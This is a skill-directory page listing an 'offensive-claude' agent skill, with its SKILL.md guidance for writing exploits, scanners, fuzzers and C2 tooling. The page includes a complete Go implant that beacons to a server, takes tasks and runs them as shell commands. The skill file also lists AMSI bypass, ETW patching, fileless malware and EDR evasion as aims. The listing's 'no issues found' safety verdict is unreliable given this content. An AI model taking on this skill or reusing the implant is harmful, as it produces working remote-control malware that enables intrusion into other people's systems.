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coding-mastery

Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation

Install / Use

npx skills add hypnguyen1209/offensive-claude --skill coding-mastery

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

91/100

Category

Security

Supported Platforms

Universal

Our assessment of coding-mastery

coding-mastery scores 91/100 on our quality scale, 469th of 1,096 Security skills we index (top 43%).

Its SKILL.md is 15 KB long, well organised into 34 sections with 15 code examples: a thorough specification that gives an agent plenty to work with.

It has 377 GitHub stars, a meaningful sign that others use it.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
11/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 14 days ago, so coding-mastery is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-10-05. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

coding-mastery compared with similar skills

All 4 of these similar skills score higher than coding-mastery; compare them before choosing.

SkillScoreStarsUpdatedFormat
coding-mastery (this skill)by hypnguyen12099137714d agoSKILL.md
Agent-Reachby Panniantong10090.8k19d agoCLAUDE.md
headroomby headroomlabs-ai10074.4ktodayCLAUDE.md
Scraplingby D4Vinci10085.7ktodayMCP Server
crawl4aiby unclecode10084.8k9d agoMCP Server

Frequently asked questions

How do I install coding-mastery?
Run npx skills add hypnguyen1209/offensive-claude --skill coding-mastery. The install tabs above show the steps for each supported agent.
Which AI agents does coding-mastery work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is coding-mastery safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is coding-mastery still maintained?
The repository was last updated 14 days ago, so coding-mastery is actively maintained.

name: coding-mastery description: Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation metadata: type: utility phase: any kill_chain: phase: [weaponize] step: [2] attck_tactics: [TA0042] depends_on: [] feeds_into: [exploit-development, shellcode-dev, edr-evasion] inputs: [tool_requirements] outputs: [custom_tooling, exploit_code]

Coding Mastery

When to Activate

  • Writing exploit code, PoCs, or security tools
  • Developing automation scripts for pentesting workflows
  • Implementing network protocols or custom C2
  • Building security analysis tools
  • Cryptographic implementation or analysis
  • Performance-critical systems programming

Languages & Use Cases

Python (Primary — Offensive Tooling)

# Exploit development with pwntools
from pwn import *
context(arch='amd64', os='linux')

# Network programming
import socket, ssl, struct
import asyncio, aiohttp  # async operations

# Web exploitation
import requests, urllib3
from bs4 import BeautifulSoup

# Crypto
from Crypto.Cipher import AES, DES
from Crypto.PublicKey import RSA
import hashlib, hmac

# Binary analysis
import struct, ctypes
from capstone import *  # disassembly
from unicorn import *   # emulation
from keystone import *  # assembly

C/C++ (Systems & Exploit Dev)

// Shellcode development
// Position-independent code, null-free
// Syscall-based (avoid libc dependency)

// Kernel module development
#include <linux/module.h>
#include <linux/kernel.h>

// Windows API abuse
#include <windows.h>
#include <winternl.h>
// Direct syscalls, NTAPI

// Memory manipulation
// Custom allocators, heap spray, ROP gadget finders

Go (Offensive Tooling & C2)

// Implant development (cross-compile, static binary)
// C2 communication (HTTP/DNS/named pipes)
// Network scanning and enumeration
// Proxy/tunnel tools (chisel-like)

// Advantages: single binary, cross-platform, fast, good crypto stdlib

Rust (High-Performance Security Tools)

// Memory-safe exploit tooling
// High-performance scanners
// Custom protocol implementations
// Fuzzing harnesses

PowerShell (Windows Post-Exploitation)

# AMSI bypass, ETW patching
# In-memory execution (reflection)
# AD enumeration and exploitation
# Fileless malware techniques

Assembly (x86/x64/ARM)

; Shellcode
; ROP gadgets
; Anti-debugging
; Kernel exploitation
; Architecture-specific tricks

Design Patterns for Security Tools

Scanner Architecture

import asyncio
from dataclasses import dataclass
from typing import AsyncIterator

@dataclass
class Finding:
    severity: str
    target: str
    vulnerability: str
    evidence: str

class Scanner:
    def __init__(self, targets: list[str], concurrency: int = 50):
        self.targets = targets
        self.semaphore = asyncio.Semaphore(concurrency)
    
    async def scan_target(self, target: str) -> list[Finding]:
        async with self.semaphore:
            # Implement scan logic
            pass
    
    async def run(self) -> AsyncIterator[Finding]:
        tasks = [self.scan_target(t) for t in self.targets]
        for coro in asyncio.as_completed(tasks):
            findings = await coro
            for f in findings:
                yield f

C2 Communication Pattern

import base64, json, time, random
from cryptography.fernet import Fernet

class Beacon:
    def __init__(self, server: str, key: bytes, jitter: float = 0.3):
        self.server = server
        self.cipher = Fernet(key)
        self.jitter = jitter
        self.sleep_time = 60
    
    def encrypt(self, data: bytes) -> str:
        return base64.b64encode(self.cipher.encrypt(data)).decode()
    
    def decrypt(self, data: str) -> bytes:
        return self.cipher.decrypt(base64.b64decode(data))
    
    def sleep(self):
        jitter = random.uniform(1 - self.jitter, 1 + self.jitter)
        time.sleep(self.sleep_time * jitter)
    
    def checkin(self) -> dict:
        # POST encrypted system info, receive tasking
        pass

Network Protocol Implementation

import struct

class ProtocolParser:
    def __init__(self, data: bytes):
        self.data = data
        self.offset = 0
    
    def read_u8(self) -> int:
        val = struct.unpack_from('B', self.data, self.offset)[0]
        self.offset += 1
        return val
    
    def read_u16(self) -> int:
        val = struct.unpack_from('>H', self.data, self.offset)[0]
        self.offset += 2
        return val
    
    def read_u32(self) -> int:
        val = struct.unpack_from('>I', self.data, self.offset)[0]
        self.offset += 4
        return val
    
    def read_bytes(self, n: int) -> bytes:
        val = self.data[self.offset:self.offset + n]
        self.offset += n
        return val
    
    def read_string(self) -> str:
        length = self.read_u16()
        return self.read_bytes(length).decode()

Cryptography Patterns

# AES-GCM (authenticated encryption)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

key = AESGCM.generate_key(bit_length=256)
aes = AESGCM(key)
nonce = os.urandom(12)
ct = aes.encrypt(nonce, plaintext, associated_data)
pt = aes.decrypt(nonce, ct, associated_data)

# RSA key generation and usage
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
public_key = private_key.public_key()

# Encrypt
ct = public_key.encrypt(plaintext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(), label=None))

# HMAC for integrity
import hmac, hashlib
mac = hmac.new(key, message, hashlib.sha256).digest()

# Key derivation
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=600000)
key = kdf.derive(password)

Advanced: Exploit Development Patterns

Custom Fuzzer Architecture

import os, signal, subprocess, struct, random
from multiprocessing import Pool

class CoverageFuzzer:
    def __init__(self, target_binary, corpus_dir, crashes_dir):
        self.target = target_binary
        self.corpus = self._load_corpus(corpus_dir)
        self.crashes_dir = crashes_dir
        self.coverage = set()
    
    def mutate(self, data: bytes) -> bytes:
        mutations = [
            self._bit_flip,
            self._byte_flip,
            self._insert_interesting,
            self._splice,
            self._havoc,
        ]
        mutator = random.choice(mutations)
        return mutator(data)
    
    def _bit_flip(self, data: bytes) -> bytes:
        d = bytearray(data)
        pos = random.randint(0, len(d) * 8 - 1)
        d[pos // 8] ^= (1 << (pos % 8))
        return bytes(d)
    
    def _insert_interesting(self, data: bytes) -> bytes:
        interesting = [0, 1, 0x7f, 0x80, 0xff, 0xffff, 0x7fffffff, 0x80000000, 0xffffffff]
        d = bytearray(data)
        pos = random.randint(0, len(d) - 4)
        val = random.choice(interesting)
        struct.pack_into('<I', d, pos, val & 0xffffffff)
        return bytes(d)
    
    def run_target(self, input_data: bytes) -> tuple:
        """Returns (exit_code, new_coverage)"""
        proc = subprocess.run(
            [self.target], input=input_data, capture_output=True,
            timeout=5, env={**os.environ, 'ASAN_OPTIONS': 'detect_leaks=0'}
        )
        if proc.returncode < 0:  # Signal = crash
            return (proc.returncode, True)
        return (proc.returncode, False)

    def fuzz_loop(self, iterations=100000):
        for i in range(iterations):
            seed = random.choice(self.corpus)
            mutated = self.mutate(seed)
            code, crashed = self.run_target(mutated)
            if crashed:
                crash_path = f"{self.crashes_dir}/crash_{i:06d}"
                open(crash_path, 'wb').write(mutated)

C2 Implant Architecture (Go)

package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "encoding/json"
    "io"
    "net/http"
    "os/exec"
    "runtime"
    "time"
)

type Beacon struct {
    Server    string
    Key       []byte
    Sleep     time.Duration
    Jitter    float64
    KillDate  time.Time
}

type Task struct {
    ID      string `json:"id"`
    Command string `json:"cmd"`
    Args    string `json:"args"`
}

type Result struct {
    TaskID string `json:"task_id"`
    Output string `json:"output"`
    Error  string `json:"error,omitempty"`
}

func (b *Beacon) Encrypt(data []byte) ([]byte, error) {
    block, _ := aes.NewCipher(b.Key)
    gcm, _ := cipher.NewGCM(block)
    nonce := make([]byte, gcm.NonceSize())
    io.ReadFull(rand.Reader, nonce)
    return gcm.Seal(nonce, nonce, data, nil), nil
}

func (b *Beacon) Decrypt(data []byte) ([]byte, error) {
    block, _ := aes.NewCipher(b.Key)
    gcm, _ := cipher.NewGCM(block)
    nonceSize := gcm.NonceSize()
    return gcm.Open(nil, data[:nonceSize], data[nonceSize:], nil)
}

func (b *Beacon) CheckIn() (*Task, error) {
    sysinfo := map[string]string{
        "os": runtime.GOOS, "arch": runtime.GOARCH,
    }
    body, _ := json.Marshal(sysinfo)
    enc, _ := b.Encrypt(body)
    
    resp, err := http.Post(b.Server+"/api/beacon",
        "application/octet-stream",
        bytes.NewReader(enc))
    if err != nil { return nil, err }
    defer resp.Body.Close()
    
    respBody, _ := io.ReadAll(resp.Body)
    dec, _ := b.Decrypt(respBody)
    var task Task
    json.Unmarshal(dec, &task)
    return &task, nil
}

func (b *Beacon) Execute(task *Task) *Result {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe", "/c", task.Args)
    default:
        cmd = exec.Command("/bin/sh", "-c", task.Args)
    }
    output, err := cmd.CombinedOutput()
    result := &Result{TaskID: task.ID, Output: base64.StdEncoding.EncodeToString(output)}
    if err != nil { result.Error = err.Error() }
    return result
}

Network Protocol Fuzzer

import socket, struct, random, itertools
from dataclasses import dataclass, field

@dataclass
class ProtocolField:
    name: str
    fmt: str  # struct format
    value: int = 0
    fuzzable: bool = True
    
    @property
    def size(self): return struct.calcsize(self.fmt)
    
    def pack(self): return struct.pack(self.fmt, self.value)
    
    def fuzz(self):
        boundaries = [0, 1, self.max_val - 1, self.max_val, self.max_val // 2]
        return random.choice(boundaries + [random.randint(0, self.max_val)])
    
    @property
    def max_val(self): return (1 << (self.size * 8)) - 1

class ProtocolFuzzer:
    def __init__(self, host, port, fields: list[ProtocolField]):
        self.host, self.port = host, port
        self.fields = fields
    
    def build_packet(self, fuzz_field=None) -> bytes:
        pkt = b''
        for f in self.fields:
            if f.name == fuzz_field and f.fuzzable:
                pkt += struct.pack(f.fmt, f.fuzz())
            else:
                pkt += f.pack()
        return pkt
    
    def send(self, packet: bytes) -> bytes:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((self.host, self.port))
        s.send(packet)
        try: resp = s.recv(4096)
        except: resp = b''
        s.close()
        return resp
    
    def fuzz_all_fields(self, iterations=1000):
        for i in range(iterations):
            field = random.choice([f for f in self.fields if f.fuzzable])
            pkt = self.build_packet(fuzz_field=field.name)
            try:
                resp = self.send(pkt)
                if not resp:
                    print(f"[!] No response fuzzing {field.name} iter {i}")
            

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars377
CategorySecurity
Updated14d ago
Forks65

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions